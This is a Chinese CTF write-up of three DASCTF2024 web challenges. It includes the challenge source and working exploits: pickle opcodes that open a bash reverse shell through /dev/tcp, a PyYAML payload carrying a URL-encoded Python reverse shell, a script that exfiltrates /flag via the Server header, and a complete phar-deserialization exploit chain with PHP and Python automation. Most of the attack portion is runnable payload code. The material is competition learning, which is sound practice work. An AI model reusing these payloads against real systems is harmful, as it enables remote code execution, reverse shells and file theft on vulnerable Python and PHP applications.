DASCTF2024 寒夜破晓,冬至终章 web
DASCTF2024 X Opsu3 web复现
正好wp出了,看看题想点思路然后就看wp了,就学点解题方法
const_python
访问/src获得源码
import builtins
import io
import sys
import uuid
from flask import Flask, request,jsonify,session
import pickle
import base64
app = Flask(__name__)
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "")
class User:
def __init__(self, username, password, auth='ctfer'):
self.username = username
self.password = password
self.auth = auth
password = str(uuid.uuid4()).replace("-", "")
Admin = User('admin', password,"admin")
@app.route('/')
def index():
return "Welcome to my application"
@app.route('/login', methods=['GET', 'POST'])
def post_login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
if username == 'admin' :
if password == admin.password:
session['username'] = "admin"
return "Welcome Admin"
else:
return "Invalid Credentials"
else:
session['username'] = username
return '''
<form method="post">
<!-- /src may help you>
Username: <input type="text" name="username"><br>
Password: <input type="password" name="password"><br>
<input type="submit" value="Login">
</form>
'''
@app.route('/ppicklee', methods=['POST'])
def ppicklee():
data = request.form['data']
sys.modules['os'] = "not allowed"
sys.modules['sys'] = "not allowed"
try:
pickle_data = base64.b64decode(data)
for i in {"os", "system", "eval", 'setstate', "globals", 'exec', '__builtins__', 'template', 'render', '\\',
'compile', 'requests', 'exit', 'pickle',"class","mro","flask","sys","base","init","config","session"}:
if i.encode() in pickle_data:
return i+" waf !!!!!!!"
pickle.loads(pickle_data)
return "success pickle"
except Exception as e:
return "fail pickle"
@app.route('/admin', methods=['POST'])
def admin():
username = session['username']
if username != "admin":
return jsonify({"message": 'You are not admin!'})
return "Welcome Admin"
@app.route('/src')
def src():
return open("app.py", "r",encoding="utf-8").read()
if __name__ == '__main__':
app.run(host='0.0.0.0', debug=False, port=5000)
我的思路
就一处pickle。。。。
想到的思路就两个要么有在黑名单之外的能够命令执行,要么覆盖app.py
文件,然后读取
然后看wp,还真是这两个思路
但是要我来具体做题的话还是写不出来的
命令执行(黑名单最大的败笔)
虽然把os置空了,但还有subprocess
。。。。。。。。
文章payload
poc = b'''csubprocess
run
p0
((lp1
Vbash
p2
aV-c
p3
aVbash -i >& /dev/tcp/ip/port 0>&1
p4
atp5
Rp6.
'''
这里实际上相当于
subprocess.run(["bash","-c","bash -i >& /dev/tcp/ip/port 0>&1"])
他opcode里的V
就是用unicode字符,但他的写法仍是原本的字符,直接用S
也行
我使用pker生成一下
poc = b'''csubprocess
run
p0
0g0
((S'bash'
S'-c'
S'bash -i >& /dev/tcp/ip/port 0>&1'
ltR.'''
都差不多,比上面少了些a
的数组追加操作
覆盖app.py
这个思路是我在思考时认为实现几率挺大的
但是由于我只会写很短的opcode并且不会用pker,所以就没咋尝试
可以使用builtins.open,有read,有write,可以读取/flag
,然后写到app.py
payload
getattr = GLOBAL('builtins', 'getattr')
open = GLOBAL('builtins', 'open')
flag=open('/flag')
read=getattr(flag, 'read')
f=open('./app.py','w')
write=getattr(f, 'write')
fff=read()
write(fff)
return
写不出来,他不能有.
操作,要写成getattr
哎说好的跟python差不多的呢
没啥解释的,payload很简单
b"cbuiltins\ngetattr\np0\n0cbuiltins\nopen\np1\n0g1\n(S'/flag'\ntRp2\n0g0\n(g2\nS'read'\ntRp3\n0g1\n(S'./app.py'\nS'w'\ntRp4\n0g0\n(g4\nS'write'\ntRp5\n0g3\n(tRp6\n0g5\n(g6\ntR."
官方wp
思路也是覆盖app.py,但这个巨牛,使用types的CodeType修改常量字节码,修改函数读取的文件
types.CodeType(oCode.co_argcount,
oCode.co_posonlyargcount,
oCode.co_kwonlyargcount,
oCode.co_nlocals,
oCode.co_stacksize,
oCode.co_flags,
oCode.co_code,
oCode.co_consts, # 需要的
oCode.co_names,
oCode.co_varnames,
oCode.co_filename,
oCode.co_name,
oCode.co_firstlineno,
oCode.co_lnotab,
oCode.co_freevars,
oCode.co_cellvars,)
oCode.co_consts是我们需要的
def src():
return open("app.py", "r",encoding="utf-8").read()
oCode = src.__code__.co_consts
print(oCode)
然后就能看懂官方wp了
给出最终opcode实际做的操作
def src():
return open("app.py", "r",encoding="utf-8").read()
oCode = src.__code__
src.__code__= types.CodeType(oCode.co_argcount,
oCode.co_posonlyargcount,
oCode.co_kwonlyargcount,
oCode.co_nlocals,
oCode.co_stacksize,
oCode.co_flags,
oCode.co_code,
(None, '/flag', 'r', 'utf-8', ('encoding',))
oCode.co_names,
oCode.co_varnames,
oCode.co_filename,
oCode.co_name,
oCode.co_firstlineno,
oCode.co_lnotab,
oCode.co_freevars,
oCode.co_cellvars,)
import builtins
import types
def src():
return open("app.py", "r",encoding="utf-8").read()
for i in src.__code__.__dir__():
print(f"{i} : {getattr(src.__code__, i)}")
g1 = builtins.getattr
g2 = getattr(src,"__code__")
g3 = getattr(g2,"co_argcount")
g4 = getattr(g2,"co_posonlyargcount")
g5 = getattr(g2,"co_kwonlyargcount")
g6 = getattr(g2,"co_nlocals")
g7 = getattr(g2,"co_stacksize")
g8 = getattr(g2,"co_flags")
g9 = getattr(g2,"co_code")
g10 = (None, 'flag', 'r', 'utf-8', ('encoding',))#g10 = getattr(g2,"co_consts")
g11 = getattr(g2,"co_names")
g12 = getattr(g2,"co_varnames")
g13 = getattr(g2,"co_filename")
g14 = getattr(g2,"co_name")
g15 = getattr(g2,"co_firstlineno")
g16 = getattr(g2,"co_lnotab")
g17 = getattr(g2,"co_freevars")
g18 = getattr(g2,"co_cellvars")
g19 = types.CodeType(g3,g4,g5,g6,g7,g8,g9,g10,g11,g12,g13,g14,g15,g16,g17,g18)
g20 = builtins.setattr
g20(src,"__code__",g19)
print(src())
op3 = b'''cbuiltins
getattr
p0
c__main__
src
p3
g0
(g3
S'__code__'
tRp4
g0
(g4
S'co_argcount'
tRp5
g0
(g4
S'co_argcount'
tRp6
g0
(g4
S'co_kwonlyargcount'
tRp7
g0
(g4
S'co_nlocals'
tRp8
g0
(g4
S'co_stacksize'
tRp9
g0
(g4
S'co_flags'
tRp10
g0
(g4
S'co_code'
tRp11
(NS'/flag'
S'r'
S'utf-8'
(S'encoding'
ttp12
g0
(g4
S'co_names'
tRp13
g0
(g4
S'co_varnames'
tRp14
g0
(g4
S'co_filename'
tRp15
g0
(g4
S'co_name'
tRp16
g0
(g4
S'co_firstlineno'
tRp17
g0
(g4
S'co_lnotab'
tRp18
g0
(g4
S'co_freevars'
tRp19
g0
(g4
S'co_cellvars'
tRp20
ctypes
CodeType
(g5
I0
g7
g8
g9
g10
g11
g12
g13
g14
g15
g16
g17
g18
g19
g20
tRp21
cbuiltins
setattr
(g3
S"__code__"
g21
tR.'''
yaml_master
import os
import re
import yaml
from flask import Flask, request, jsonify, render_template
app = Flask(__name__, template_folder='templates')
UPLOAD_FOLDER = 'uploads'
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
def waf(input_str):
blacklist_terms = {'apply', 'subprocess','os','map', 'system', 'popen', 'eval', 'sleep', 'setstate',
'command','static','templates','session','&','globals','builtins'
'run', 'ntimeit', 'bash', 'zsh', 'sh', 'curl', 'nc', 'env', 'before_request', 'after_request',
'error_handler', 'add_url_rule','teardown_request','teardown_appcontext','\\u','\\x','+','base64','join'}
input_str_lower = str(input_str).lower()
for term in blacklist_terms:
if term in input_str_lower:
print(f"Found blacklisted term: {term}")
return True
return False
file_pattern = re.compile(r'.*\.yaml$')
def is_yaml_file(filename):
return bool(file_pattern.match(filename))
@app.route('/')
def index():
return '''
Welcome to DASCTF X 0psu3
<br>
Here is the challenge <a href="/upload">Upload file</a>
<br>
Enjoy it <a href="/Yam1">Yam1</a>
'''
@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
try:
uploaded_file = request.files['file']
if uploaded_file and is_yaml_file(uploaded_file.filename):
file_path = os.path.join(UPLOAD_FOLDER, uploaded_file.filename)
uploaded_file.save(file_path)
return jsonify({"message": "uploaded successfully"}), 200
else:
return jsonify({"error": "Just YAML file"}), 400
except Exception as e:
return jsonify({"error": str(e)}), 500
return render_template('upload.html')
@app.route('/Yam1', methods=['GET', 'POST'])
def Yam1():
filename = request.args.get('filename','')
if filename:
with open(f'uploads/{filename}.yaml', 'rb') as f:
file_content = f.read()
if not waf(file_content):
test = yaml.load(file_content)
print(test)
return 'welcome'
if __name__ == '__main__':
app.run()
我的思路
很明显pyyaml考点,限定yaml后缀
猜测是5.1的低版本(看wp说直接load的是5.1版本,高版本要指定加载器
。。。没咋思考,感觉网上的payload应该有能用的
wp
直接用type+tuple,能够执行extend
!!python/object/new:type
args:
- exp
- !!python/tuple []
- {"extend": !!python/name:exec }
listitems: "python代码"
url编码绕过进行反弹shell
禁了很多编码,但漏了url。。。。
__import__('os').system('python3 -c \'import os,pty,socket;s=socket.socket();s.connect(("111.xxx.xxx.159",7777));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")\'')
!!python/object/new:type
args:
- exp
- !!python/tuple []
- {"extend": !!python/name:exec }
listitems: "import urllib; exec(urllib.parse.unquote('%5f%5f%69%6d%70%6f%72%74%5f%5f%28%27%6f%73%27%29%2e%73%79%73%74%65%6d%28%27%70%79%74%68%6f%6e%33%20%2d%63%20%5c%27%69%6d%70%6f%72%74%20%6f%73%2c%70%74%79%2c%73%6f%63%6b%65%74%3b%73%3d%73%6f%63%6b%65%74%2e%73%6f%63%6b%65%74%28%29%3b%73%2e%63%6f%6e%6e%65%63%74%28%28%22%31%31%31%2e%78%78%78%2e%78%78%78%2e%31%35%39%22%2c%37%37%37%37%29%29%3b%5b%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%66%29%66%6f%72%20%66%20%69%6e%28%30%2c%31%2c%32%29%5d%3b%70%74%79%2e%73%70%61%77%6e%28%22%73%68%22%29%5c%27%27%29'))"
请求头回显
werkzeug.serving.WSGIRequestHandler
这个处理器是用来处理请求头的
Server头的值是server_version
属性和sys_version
属性拼接在一起的
那我们只需要想办法修改server_version
属性或者sys_version
属性即可带出数据了
import werkzeug
setattr(werkzeug.serving.WSGIRequestHandler, "server_version",'想要带出的数据' )
!!python/object/new:type
args:
- exp
- !!python/tuple []
- {"extend": !!python/name:exec }
listitems: |
bb=open("/flag").read()
import werkzeug
setattr(werkzeug.serving.WSGIRequestHandler, "server_version",bb )
一把梭脚本
import requests
# 目标 URL
url = 'http://localhost:7389/'
content="""!!python/object/new:type
args:
- exp
- !!python/tuple []
- {"extend": !!python/name:exec }
listitems: |
bb=open("/flag").read()
import werkzeug
setattr(werkzeug.serving.WSGIRequestHandler, "server_version",bb )
"""
files = {'file': ('3.yaml', content, 'application/octet-stream')}
# 设置请求头
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0',
'Accept': '*/*',
'Accept-Encoding': 'gzip, deflate, br',
'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6',
'Connection': 'close'
}
# 发送 POST 请求
response = requests.post(url+'upload', headers=headers, files=files)
# 打印响应内容
print(response.status_code)
print(response.text)
res = requests.get(url=url+'Yam1?filename=3')
print(res.headers)
strange_php
我的思路
代码中看到一些魔术方法,看到许多文件操作,应该是phar反序列化
剩下的就是一些sql语句,好像也没啥
不太懂
官方wp
welcome.php能够写txt文件和删除txt文件功能
通过User.php和UserMessage.php得知存在魔术方法进行反序列化利用
链子
如何触发到__set
呢,这里很厉害
直接引用吧,确实写得好
通过User::__destruct
->
User::log ,User::log指定查询数据库来源,设定"options"=>[PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_CLASS|PDO::FETCH_CLASSTYPE,]]
,使得查询结果,第一列返回结果作为类名实例化,之后的结果会变成属性名和属性值进行赋值,对于未定义的属性会触发这个类的__set
方法。数据库第一行结果为UserMessage,所以会实例化UserMessage
我们能实例化一个PDO_connect,设置属性进行连接,并把options设置为上面所述
然后要加入数据,第一个的值设置为想要实例化的类,这里就是我们想要触发的__set
所在的UserMessage
同时要设置一个UserMessage
中不存在的属性,让其触发__set
最后要有filePath
指定读什么文件
三者构成了wp中的
def gen_db(db_path):
conn = sqlite3.connect(db_path)
cursor = conn.cursor()
cursor.execute('''
CREATE TABLE IF NOT EXISTS users (
username TEXT NOT NULL,
filePath TEXT NOT NULL,
password TEXT NOT NULL,
id INTEGER PRIMARY KEY AUTOINCREMENT
)
''')
users = [
('UserMessage', '/flag', '/flag'),
]
cursor.executemany('''
INSERT INTO users (username, password,filePath) VALUES (?,?,?)
''', users)
conn.commit()
cursor.execute('SELECT * FROM users')
conn.close()
这里注意,题目原来是mysql数据库,但是mysql不能指定数据库文件,sqlite数据库可以
db_path随便传一个不存在的名字,就会生成该名字的数据库文件,包含了数据信息
本地执行一下,然后把生成的文件写入到题目中,得到一个txt路径
当然也可以连接远程vps上的mysql,写入指定数据就行
生成phar
<?php
class PDO_connect
{
private $pdo;
public $con_options = [];//use to set options of PDO connections
public $smt;
public function __construct()
{
$this->con_options = [
//连接指定的数据库文件
"dsn" => 'sqlite:/var/www/html/f856faaf1f24eddf7cbfd0690ff93068.txt',
"username" => "root",
"password" => "root",
"options" => [PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_CLASS | PDO::FETCH_CLASSTYPE,]
];
}
}
class User
{
private $conn;
private $table = 'users';
public $id;
public $username;
public $password;
public function __construct()
{
$this->conn = new PDO_connect();
$this->username = "UserMessage";
}
}
$a = new User();
$phar = new Phar("shell.phar");
$phar->startBuffering();
$phar->setStub('GIF89a' . '<?php __HALT_COMPILER();?>');
$phar->setMetadata($a);
$phar->addFromString("a.txt", "aaaaaaaaaaaaa");
$phar->stopBuffering();
同样写入,得到一个txt路径
删除文件处有个unlink能触发phar反序列化
触发时记得删掉.txt
后缀
然后把/flag
md5加密一下,得到log目录下的文件名称
访问即可
说实话wp的一把梭脚本有点问题。。。。。。。。。
给出修改后的一把梭
//exp.php
<?php
class PDO_connect
{
private $pdo;
public $con_options = [];//use to set options of PDO connections
public $smt;
public function __construct()
{
$this->con_options = [
"dsn" => 'sqlite:/var/www/html/f856faaf1f24eddf7cbfd0690ff93068.txt',
"username" => "root",
"password" => "root",
"options" => [PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_CLASS | PDO::FETCH_CLASSTYPE,]
];
}
}
class User
{
private $conn;
private $table = 'users';
public $id;
public $username;
public $password;
public function __construct()
{
$this->conn = new PDO_connect();
$this->username = "UserMessage";
}
}
$a = new User();
$phar = new Phar("shell.phar");
$phar->startBuffering();
$phar->setStub('GIF89a' . '<?php __HALT_COMPILER();?>');
$phar->setMetadata($a);
$phar->addFromString("a.txt", "aaaaaaaaaaaaa");
$phar->stopBuffering();
#!/usr/bin/python
# -*- coding: utf-8 -*-
import base64
import hashlib
import random
import re
import sqlite3
import string
import subprocess
import requests
pattern = r"[0-9a-f]{32}\.txt"
sear = re.compile(pattern)
headers = {"Cache-Control": "max-age=0",
"sec-ch-ua": "\"Microsoft Edge\";v=\"125\", \"Chromium\";v=\"125\", \"Not.A/Brand\";v=\"24\"",
"sec-ch-ua-mobile": "?0", "sec-ch-ua-platform": "\"Windows\"", "Upgrade-Insecure-Requests": "1",
"Origin": "http://localhost:1919", "Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 Edg/125.0.0.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-User": "?1",
"Sec-Fetch-Dest": "document", "Referer": "http://localhost:1919/welcome.php",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6", "Connection": "close"}
session = requests.Session()
def gen_db(db_path):
conn = sqlite3.connect(db_path)
cursor = conn.cursor()
cursor.execute('''
CREATE TABLE IF NOT EXISTS users (
username TEXT NOT NULL,
filePath TEXT NOT NULL,
password TEXT NOT NULL,
id INTEGER PRIMARY KEY AUTOINCREMENT
)
''')
users = [
('UserMessage', '/flag', '/flag'),
]
cursor.executemany('''
INSERT INTO users (username, password,filePath) VALUES (?,?,?)
''', users)
conn.commit()
cursor.execute('SELECT * FROM users')
conn.close()
def encode_file_to_base64(input_file_path):
binary_data = open(input_file_path, 'rb').read()
base64_encoded_data = base64.b64encode(binary_data).decode('utf-8')
return base64_encoded_data
def gen_phar(filename):
code = open('exp.php', 'r').read()
result = re.sub(sear, filename, code)
# print(result)
php_file = "1.php"
with open(php_file, 'w') as file:
file.write(result)
result = subprocess.run(['php', php_file], capture_output=True, text=True)
def generate_random_string():
return ''.join(random.choices(string.ascii_letters + string.digits, k=19))
def write_file(url,file_path):
# res = session.post(url+"/welcome.php", data=file_path)
file_data = encode_file_to_base64(file_path)
# file_data = quote(file_data)
burp0_data = {"action": "message",
"encodedMessage":file_data,
"1":"1",}
r = session.post(f"{url}/welcome.php", data=burp0_data, headers=headers,)
msg = sear.findall(r.text)[0]
return msg
def phar_triger(url,file_path):
data = {"action": "delete", "message_path": file_path}
r = session.post(f"{url}/welcome.php", data=data)
return r
def exp(url):
#url = "http://%s:%s/"% (ip, port,)
username = generate_random_string()
password = generate_random_string()
target1 = url + "/main.php?action=register"
target2 = url + "/main.php?action=login"
res1 = session.post(target1, data={"username": username, "password": password})
res2 = session.post(target2, data={"username": username, "password": password})
db_path = generate_random_string()
gen_db(db_path)
sqlite = write_file(url, db_path)
gen_phar(sqlite)
txt_name_phar = write_file(url, "shell.phar")
phar_filename = "phar:///var/www/html/txt/" + txt_name_phar
phar_triger(url, phar_filename.replace(".txt", ""))
target_file = hashlib.md5("/flag".encode()).hexdigest() + ".txt"
res_exp = session.get(url + "/log/" + target_file)
print(res_exp.text)
if __name__ == '__main__':
url = "http://594317d0-c4ae-447a-8906-fec7d9e31650.node5.buuoj.cn:81"
exp(url)
finally
中等难度吧,前两个还好,最后一个确实不会
难评,我太菜了